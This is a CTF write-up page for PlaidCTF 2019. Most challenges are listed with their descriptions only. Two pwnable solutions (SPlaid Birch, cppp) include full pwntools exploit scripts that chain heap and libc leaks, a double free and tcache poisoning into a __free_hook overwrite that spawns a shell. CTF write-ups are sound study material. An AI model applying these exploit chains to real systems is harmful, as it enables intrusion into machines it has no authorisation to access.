# 2019-04-12-PlaidCTF #
[CTFTime link](https://ctftime.org/event/743) | [Website](http://plaidctf.com/)
---
## Challenges ##
### Crypto ###
 - [ ] [600 SPlaid Cypress](#600-crypto--splaidcypress) - [ ] [150 R u SAd?](#150-crypto--rusad) - [ ] [200 Horst](#200-crypto--horst)
### Misc ###
 - [x] [1 Sanity Check](#1-misc--sanitycheck) - [x] [250 Everland](#250-misc--everland) - [x] [100 can you guess me](#100-misc--canyouguessme) - [x] [10 docker](#10-misc--docker) - [x] [100 Space Saver](#100-misc--spacesaver) - [ ] [333 graffiti](#333-misc--graffiti) - [x] [150 A Whaley Good Joke](#150-misc--awhaleygoodjoke) - [x] [200 Project Eulernt](#200-misc--projecteulernt)
### Pwnable ###
 - [ ] [666 Spectre](#666-pwnable--spectre) - [ ] [500 Suffarring](#500-pwnable--suffarring) - [x] [300 SPlaid Birch](#300-pwnable--splaidbirch) - [ ] [250 Plaid Adventure II](#250-pwnable--plaidadventureii) - [x] [150 cppp](#150-pwnable--cppp)
### Reversing ###
 - [ ] [500 Plaid Party Planning III 2](#500-reversing--plaidpartyplanningiii2) - [x] [500 Plaid Party Planning III](#500-reversing--plaidpartyplanningiii) - [ ] [250 big maffs](#250-reversing--bigmaffs) - [x] [50 i can count](#50-reversing--icancount) - [ ] [250 The .Wat ness](#250-reversing--thewatness)
### Web ###
 - [ ] [280 Triggered](#280-web--triggered) - [ ] [300 Potent Quotables](#300-web--potentquotables)
---
## 600 Crypto / SPlaid Cypress ##
**Description**
> I came up with this carbon-neutral cryptosystem and hid my secrets in the [forest](files/splaid-cypress_c3a8151251a3bcd2eac5f176112e9db9.zip). Can you help them find their way out?
**Files provided**
 - [`splaid-cypress_c3a8151251a3bcd2eac5f176112e9db9`](files/splaidcypress-splaidcypress_c3a8151251a3bcd2eac5f176112e9db9.zip)
## 150 Crypto / R u SAd? ##
**Description**
> Tears dripped from my face as I stood over the bathroom sink. Exposed again! The tears melted into thoughts, and an idea formed in my head. [This](files/rusad_ece608061c4dd2d74b6011a5c7a7f83d.zip) will surely keep my secrets safe, once and for all. I crept back to my computer and began to type.
**Files provided**
 - [`rusad_ece608061c4dd2d74b6011a5c7a7f83d`](files/rusad-rusad_ece608061c4dd2d74b6011a5c7a7f83d.zip)
## 200 Crypto / Horst ##
**Description**
> They say 3 rounds is provably secure, right? [Download](files/horst_1413814aa07a564df58dd90f700b2afd.tgz)
**Files provided**
 - [`horst_1413814aa07a564df58dd90f700b2afd`](files/horst-horst_1413814aa07a564df58dd90f700b2afd.tgz)
## 1 Misc / Sanity Check ##
**Description**
> Let's make sure things are up and running: flags generally look like PCTF{welcome to PlaidCTF} unless we tell you otherwise.
**No files provided**
**Solution**
(TODO)
## 250 Misc / Everland ##
**Description**
> In a darkened land, a hero must fight for their flag! [Source](files/everland_19f72e788727d36b0200b0d9507aeb3f.sml)> > running at everland.pwni.ng:7772
**Files provided**
 - [`everland_19f72e788727d36b0200b0d9507aeb3f`](files/everland-everland_19f72e788727d36b0200b0d9507aeb3f.sml)
**Solution**
(TODO)
## 100 Misc / can you guess me ##
**Description**
> Here's the source to a guessing game: [here](files/can-you-guess-me-53d1aa54ca7d7151fcd2c48ce36d1bdb.py)> > You can access the server at nc canyouguessme.pwni.ng 12349
**Files provided**
 - [`can-you-guess-me-53d1aa54ca7d7151fcd2c48ce36d1bdb`](files/canyouguessme-canyouguessme53d1aa54ca7d7151fcd2c48ce36d1bdb.py)
**Solution**
(TODO)
## 10 Misc / docker ##
**Description**
> docker pull whowouldeverguessthis/public
**No files provided**
**Solution**
(TODO)
## 100 Misc / Space Saver ##
**Description**
> we couldn't think of anything cute so [here](files/space_saver-90a5a93dfdda2d0333f573eb3fac9789.dd) you go
**Files provided**
 - [`space_saver-90a5a93dfdda2d0333f573eb3fac9789`](files/spacesaver-space_saver90a5a93dfdda2d0333f573eb3fac9789.dd)
**Solution**
(TODO)
## 333 Misc / graffiti ##
**Description**
> [QUAAAAAKE](files/graffiti-0baaf6c57f4f3efbed1e0d57bc02a13a.pcap)> > In lieu of a description, please watch this video. Alternate link
**Files provided**
 - [`graffiti-0baaf6c57f4f3efbed1e0d57bc02a13a`](files/graffiti-graffiti0baaf6c57f4f3efbed1e0d57bc02a13a.pcap)
## 150 Misc / A Whaley Good Joke ##
**Description**
> You'll have a whale of a time with [this one](files/pctf-whales_169aeb74f82dcdceb76e36a6c4c22a89)! I couldn't decide what I wanted the flag to be so I alternated adding and removing stuff in waves until I got something that looked good. Can you dive right in and tell me what was so punny?
**Files provided**
 - [`pctf-whales_169aeb74f82dcdceb76e36a6c4c22a89`](files/awhaleygoodjoke-pctfwhales_169aeb74f82dcdceb76e36a6c4c22a89)
**Solution**
(TODO)
## 200 Misc / Project Eulernt ##
**Description**
> Guys, guys, don’t fight. I’m sure we’ll be able to come up with something roughly equal.> source> eulernt.pwni.ng:5555> > NOTE: We originally uploaded the wrong version. It is still available here if you really want it: wrong version.
**No files provided**
**Solution**
(TODO)
## 666 Pwnable / Spectre ##
**Description**
> Read the flag. Don't trust anything.> > Download the [vm](files/spectre_161f05f267601806bdcd2c499fbf3930). Workers are running Ubuntu 18.04 on GCE with 1 vCPU and 1 GB of memory.
**Files provided**
 - [`spectre_161f05f267601806bdcd2c499fbf3930`](files/spectre-spectre_161f05f267601806bdcd2c499fbf3930)
## 500 Pwnable / Suffarring ##
**Description**
> Some days I want to do string manipulation. And I want to do it fast! This guy is optimal up to log factors.> [files](files/suffarring_9617710f014cef44de2baac6219ff38d.zip)> nc suffarring.pwni.ng 7361
**Files provided**
 - [`suffarring_9617710f014cef44de2baac6219ff38d`](files/suffarring-suffarring_9617710f014cef44de2baac6219ff38d.zip)
## 300 Pwnable / SPlaid Birch ##
**Description**
> I make sure never to use scanf("%s") when doing competitive programming so that my solutions don't have buffer overflows. But writing algorithms is hard.> files> splaid-birch.pwni.ng:17579
**No files provided**
**Solution**
### Reverse Engineering
`libsplaid.so.1` implements a tree-like data structure, should be binary tree, not sure it is AVL or not. The way to use it is to put the data structure as a field, and access the original data structure by using a negative offset, a common way to implement data structure without template in C.
However, the negative offset is annoying, since IDA cannot deal it very well, especially for function `0x555555554D4E`, which is hard to understand without proper decompile. My way to solve this is to copy the assembly out, change all `rdi` to `rdi+0x28` (so the argument becomes the original structure not the pointer to the field), then re-assemble using anything you want (I used `asm` in `pwntools`), and then patch the function using the result. Note that it will not be patched into executable to be executed, it is only patched into IDA database to help the analysis.
```python#asm.py, codes is the assembly code copied from IDAprint hexlify(asm(codes, arch='amd64'))
#fixoff.pyfrom binascii import unhexlifydef patch_func(func_addr, hexchar):	func_end = FindFuncEnd(func_addr)	data = unhexlify(hexchar)	size = func_end - func_addr	assert size >= len(data)	for i in xrange(len(data)):		PatchByte(func_addr + i, ord(data[i]))```
There might be better way to patch it such as using `IDAPython` to re-assemble directly, but I did not install `keypatch`.
Actually I did not reverse the whole binary even when I solved it, and I still don't know what function `0x555555554D4E` is doing.
### Exploitation
The vulnerability comes from the OOB of 
```c__int64 __fastcall select(manager *a1, __int64 a2){  data *v2; // rbx
  v2 = a1->buf[a2];                             // oob  sp_select(a1, &v2->btent);  return v2->var3;}
__int64 __fastcall sp_select(manager *a1, btnode *a2){  __int64 result; // rax
  result = (__int64)sub_894(a2, a1->some_calc);  a1->root = (btnode *)result;  return result;}
btnode *__fastcall sub_894(btnode *cur, void (__fastcall *a2)(btnode *)){  btnode *cur_; // rbx  btnode *v3; // rdi  btnode *v4; // rax
  cur_ = cur;  if ( !cur )    return cur_;  v3 = cur->parent;  if ( !v3 ) //want this to be true, so `cur` will be returned directly    return cur_;//remaining part is not important}```
To exploit it, we can let `select` to choose a pointer that is on the heap, this can either be pointers that should be on the heap, or can be the pointer that we faked on the heap. Then this pointer will be regarded as `data` structure, as shown below
```assembly00000000 data            struc ; (sizeof=0x48, align=0x8, mappedto_6)00000000 var2            dq ?00000008 var3            dq ?00000010 num             dq ?00000018 sum             dq ?00000020 idx             dq ?00000028 btent           btnode ?00000048 data            ends
00000000 manager         struc ; (sizeof=0x38, align=0x8, mappedto_7)00000000 root            dq ?                    ; XREF: main+39/w00000008 compare         dq ?                    ; XREF: main+41/w00000010 some_calc       dq ?                    ; XREF: main+4A/w00000018 sub_555555554D36 dq ?                   ; XREF: main+53/w00000020 next_size       dq ?                    ; XREF: main+6E/w00000028 cur_size        dq ?                    ; XREF: main+5C/w00000030 buf             dq ?                    ; XREF: main+65/w00000038 manager         ends
00000000 btnode          struc ; (sizeof=0x20, align=0x8, copyof_10)00000000 parent          dq ?                    ; offset00000008 lnode           dq ?                    ; offset00000010 rnode           dq ?                    ; offset00000018 sum2            dq ?00000020 btnode          ends```
In order to make it not crash, we don't want this faked structure to get into complicated algorithm, so we want it to return from `sub_894` directly, that is to make `parent == null`, which is to make `[p + 0x28] == nullptr`. Also, since it will print the value of `var3`, we want `[p + 8] == address_we_want_to_leak`.
I think the comments in exploit explain my method well :)
```pythonfrom pwn import *
g_local=Truecontext(log_level='debug', arch='amd64')e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
if g_local:	sh = process("./splaid-birch", env={'LD_PRELOAD':'./libsplaid.so.1'})	gdb.attach(sh)else:	sh = remote("splaid-birch.pwni.ng", 17579)
sendnum = lambda x: sh.sendline(str(x & 0xffffffffffffffff)) recvnum = lambda : int(sh.recvuntil('\n'), 10)
def add(v2, v3=0):	sendnum(5)	sendnum(v2)	sendnum(v3)
def select(idx):	sendnum(4)	sendnum(idx)	return recvnum()
def delete(v2):	sendnum(1)	sendnum(v2)
#0. prepareadd(3,0)add(-0x28, 1) #used to clear root by producing nullptr(not useful)add(2,0)
#rearrange heapdelete(3)delete(2)delete(-0x28)add(3,0)add(-0x28, 1)add(2,0)
#1. leak heap#find a pointer in the heap such that#	[p + 0x28] == nullptr#	[p + 8] == heap addr#that is pointer to btnode with lnode not null# => p == 0x555555758398heap_addr = select(0x10a8/8) - 0x1348print hex(heap_addr)
select(5) # resume the root, idx == 5 is var2 == 2
#2. leak libc#construct a pointer in the heap such that#	[p + 0x28] == nullptr#	[p + 8] == libc addr
# use manager.buf to construct unsorted binfor i in xrange(0, 0x90):	add(4 + i)delete(0x35) # construct [p + 0x28] == nullptrfor i in xrange(0x90, 0xa0-5):	add(4 + i)# p == 0x3150empty_root2 = heap_addr + 0x57c8add(empty_root2) # used to prevent cyclingempty_root = heap_addr + 0x5788add(empty_root) # used to prevent cyclingadd(heap_addr + 0x3100)add(u64("/bin/sh\x00")) #some preparation for shell
hv2 = heap_addr + 0x3150add(hv2)
libc_addr = select(-7296 / 8) - 0x3ebca0print hex(libc_addr)
select(0x528/8) # the one with var2 == heap150 is root
#3. get shell#delete a root node with parent == nullptr#select such that root points to the freed root node#free it, cause double free#tcache poison to rewrite __free_hookdelete(hv2) #delete rootselect(-7456/8) #reset root to freed root nodedelete(0) #double free, 0x50 chunk poisoned, var2 == next == nullptr == 0select(-7536/8) #prevent cycle maybe? it will loop forever if we don't have this#reset the root to prevent cycling, the fake root must be empty
add(libc_addr + e.symbols["__free_hook"])select(-7616/8) #reset the root to prevent cycling, the fake root must be emptyadd(libc_addr + 0x4f322) # consume binadd(libc_addr + e.symbols["system"]) # rewrite here
add(u64("/bin/sh\x00")) delete(u64("/bin/sh\x00"))
sh.interactive()```
## 250 Pwnable / Plaid Adventure II ##
**Description**
> Embark on another adventure! Restore from the savefile "flag.glksave" on the server to get the flag. (Apologies to Zarf for making a Glulx pwnable.)> > stty -icanon -echo> nc plaidadventure2.pwni.ng 6910> stty sane> > download
**No files provided**
## 150 Pwnable / cppp ##
**Description**
> C++ is hard.> cppp.pwni.ng 4444> [binary](files/cppp_58fc210859e4c5e43d051b6476cbc9f7), libc
**Files provided**
 - [`cppp_58fc210859e4c5e43d051b6476cbc9f7`](files/cppp-cppp_58fc210859e4c5e43d051b6476cbc9f7)
**Solution**
### Reverse Engineering
The C++ is quite hard to reverse, since there are a lot of inline functions. The key is to recognize `std::vector` and `std::basic_string` quickly, which is done by debugging and guessing. Don't try to get into static analysis of STL codes, which is hard and unnecessary to understand.
```cstruct string{  char *p;  size_t len;  size_t max_len;  __int64 field_18;};struct kv{  int buf_size;  char *p_buf;  string name;};struct vector{  kv *beg;  kv *end;  kv *max_end;};```
The vulnerability comes from deleting a element in the middle. It will not `delete` the element we want to delete but will delete the last element, which causes UAF.
```citem = &data.beg[idx_1];if ( data.end != &item[1] )           // element to delete is not last one{  v22 = (char *)data.end - (char *)(item + 1);  next_to_end_len = 0xAAAAAAAAAAAAAAABLL * (v22 >> 4);     				//magic compiler optimization    				// == v22 / 0x30  if ( v22 > 0 )  {    v24 = &item->name;    do    {      v25 = (int)v24[1].p;      v26 = v24;      v24 = (string *)((char *)v24 + 48);      LODWORD(v24[-2].p) = v25;      v24[-2].len = v24[-1].field_18;      std::__cxx11::basic_string::_M_assign(v26, v24);      --next_to_end_len;    }    while ( next_to_end_len );  }}v27 = data.end;v28 = data.end[-1].p_buf;--data.end;if ( v28 )  operator delete[](v28);v15 = v27[-1].name.p;v27[-1].p_buf = 0LL;if ( v15 != (char *)&v27[-1].name.max_len )  goto LABEL_18;```
The loop body is a bit hard to understand due to compiler optimization, but it is clear if we look at assembly
```assemblyloc_555555555640:       ; get the next bufsizemov     eax, [rbx+20h]mov     rdi, rbxadd     rbx, 30h        ; rbx == next stringmov     [rbx-40h], eax  ; set this bufsize as next bufsizemov     rax, [rbx-8]    ; get next bufmov     [rbx-38h], rax  ; this buf = next bufmov     rsi, rbx        ; this string = next stringcall    _M_assignsub     rbp, 1jnz     short loc_555555555640 ; get the next bufsize```
I think this is the copy constructor of `kv`
### Exploitation
The C++ heap is a bit messy since many copy constructor will be called, and a long `std::string` is constructed by continuously appending character, in which `malloc/free` may be called to extend the chunk size. I successfully constructed a leak by simply trial and error. :)
```pythonfrom pwn import *
g_local=Truecontext(log_level='debug', arch='amd64')e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
if g_local:	sh = process("./cppp")	gdb.attach(sh)else:	sh = remote("cppp.pwni.ng", 7777)
sh.recvuntil("Choice: ")
def add(name="1", buf="2"):	sh.sendline("1")	sh.recvuntil("name: ")	sh.sendline(name)	sh.recvuntil("buf: ")	sh.sendline(buf)	sh.recvuntil("Choice: ")
def remove(idx):	sh.sendline("2")	sh.recvuntil("idx: ")	sh.sendline(str(idx))	sh.recvuntil("Choice: ")
def view(idx):	sh.sendline("3")	sh.recvuntil("idx: ")	sh.sendline(str(idx))	ret = sh.recvuntil('\n')	sh.recvuntil("Choice: ")	return ret[:-1]
#1. leak heap (don't need)# add() #0# add("uaf") #1# remove(0) #1->0# heap_addr = u64(view(0) + '\x00\x00') - 0x13290# print hex(heap_addr)#now 0 is UAF don't touch it
#2. leak libc, want UAF of unsorted binadd() #0add("U" * 0x800, 'A' * 0x800) #1add("sep") #2 seperator#also, it seems in this operation the vector will be extended,#copy constructor of `kv` will also be called, #(btw I guess the source code did not use r-value reference in C++11)#I think it is this that makes leak possible#but it was found by trial and error initially
remove(2)remove(0) # 1->0
libc_addr = u64(view(0) + '\x00\x00') - 0x3ebca0print hex(libc_addr)
#3. rewrite __free_hook and getshelladd() #1add('\x00', 'D' * 0xb0) #2
remove(1)remove(1)#double free
#0xc0 tcache poisonedadd('\x00', p64(libc_addr + e.symbols["__free_hook"]).ljust(0xb0, '\x00'))add('\x00', p64(libc_addr + e.symbols["system"]).ljust(0xb0, '\x00'))
sh.sendline("1")sh.recvuntil("name: ")sh.sendline("/bin/sh")sh.recvuntil("buf: ")sh.sendline("/bin/sh")
sh.interactive()```
## 500 Reversing / Plaid Party Planning III 2 ##
**Description**
> [This binary](files/pppiii_450cfae15d4434c4f5fe320fae78ec40) has a fix for an unintentional solution. Let's keep the party going.> > NOTE: We have pushed an updated binary. This update fixes a bug in the check function and should hopefully make the check function easier to understand. The diff with the binary below should be minimal. Apologies.> > The previous Plaid Party Planning III 2 binary.
**Files provided**
 - [`pppiii_450cfae15d4434c4f5fe320fae78ec40`](files/plaidpartyplanningiii2-pppiii_450cfae15d4434c4f5fe320fae78ec40)
## 500 Reversing / Plaid Party Planning III ##
**Description**
> This year, we're having another party. We managed to come to a consensus to have [Indian food](files/pppiii-b73804b431586f8ecd4a0e8c0daf3ba6), but I can't figure out where everyone should sit. Can you help us make sure the dinner goes off without a hitch?
**Files provided**
 - [`pppiii-b73804b431586f8ecd4a0e8c0daf3ba6`](files/plaidpartyplanningiii-pppiiib73804b431586f8ecd4a0e8c0daf3ba6)
**Solution**
This is actually a very easy challenge, I don't know why it worth 500 points...
If we run the program, it will abort. After a little bit reverse engineering, it seems that we need to find the parameter input such that the abort will not be called, and then the flag will be generated.
    cprint(&v32, (__int64)"And I bought a ton of extra parmesan!", v10, v11, v12, v13);    mysleep(&v32, 5uLL);    cprint(&v33, (__int64)"Anyway, we brought you guys a gift.", v14, v15, v16, v17);    mysleep(&v33, 1uLL);    cprint(&v32, (__int64)"It's a flag!", v18, v19, v20, v21);    mysleep(&v32, 5uLL);    ptr = (void *)sub_555555555524(func_tab);    cprint(      &func_tab[8].name,      (__int64)"Let me take a look. It seems to say\n\tPCTF{%s}.",      (__int64)ptr,      (__int64)&func_tab[8],      v23,      v24);
Thus what if we cancel the abort function by putting a `ret` instruction at the `plt` entry of `abort` function? Also to make it less deterministic I also cancelled the `mysleep` function. Then I ran it directly and it seems that a deadlock situation is created, but when I ran it using `gdb`, the flag is printed!
## 250 Reversing / big maffs ##
**Description**
> Do you have enough memory? [big_maffs](files/big_maffs_63f40a7dafe4a8350c4c06478b3685fd)
**Files provided**
 - [`big_maffs_63f40a7dafe4a8350c4c06478b3685fd`](files/bigmaffs-big_maffs_63f40a7dafe4a8350c4c06478b3685fd)
## 50 Reversing / i can count ##
**Description**
> Let's do this together. You do know how to [count](files/i_can_count_8484ceff57cb99e3bdb3017f8c8a2467), don't you?
**Files provided**
 - [`i_can_count_8484ceff57cb99e3bdb3017f8c8a2467`](files/icancount-i_can_count_8484ceff57cb99e3bdb3017f8c8a2467)
**Solution**
(TODO)
## 250 Reversing / The .Wat ness ##
**Description**
> The .Wat ness is open for testing!> > http://watness.pwni.ng:7744/> > When it came out in 2016, the Witness impressed with its ability to gradually teach new players the rules of the game by simply having them play it. With the .Wat ness, we take this just a small step further.
**No files provided**
## 280 Web / Triggered ##
**Description**
> I stared into the abyss of microservices, and it stared back. I found something utterly terrifying about the chaos of connections.> > "Screw this," I finally declared, "why have multiple services when the database can do everything just fine on its own?"> > And so on that glorious day it came to be that everything ran in plpgsql.
**No files provided**
## 300 Web / Potent Quotables ##
**Description**
> I set up a little quotes server so that we can all share our favorite quotes with each other. I wrote it in Flask, but I decided that since it's mostly static content anyway, I should probably put some kind of caching layer in front of it, so I wrote a [caching reverse proxy](files/potent_proxy_9b166042cc0a265a3749b8649e13fcea). It all seems to be working well, though I do get this weird error when starting up the server:> > * Environment: production> WARNING: Do not use the development server in a production environment.> Use a production WSGI server instead.> > I'm sure that's not important.> > Oh, and don't bother trying to go to the /admin page, that's not for you.
**Files provided**
 - [`potent_proxy_9b166042cc0a265a3749b8649e13fcea`](files/potentquotables-potent_proxy_9b166042cc0a265a3749b8649e13fcea)
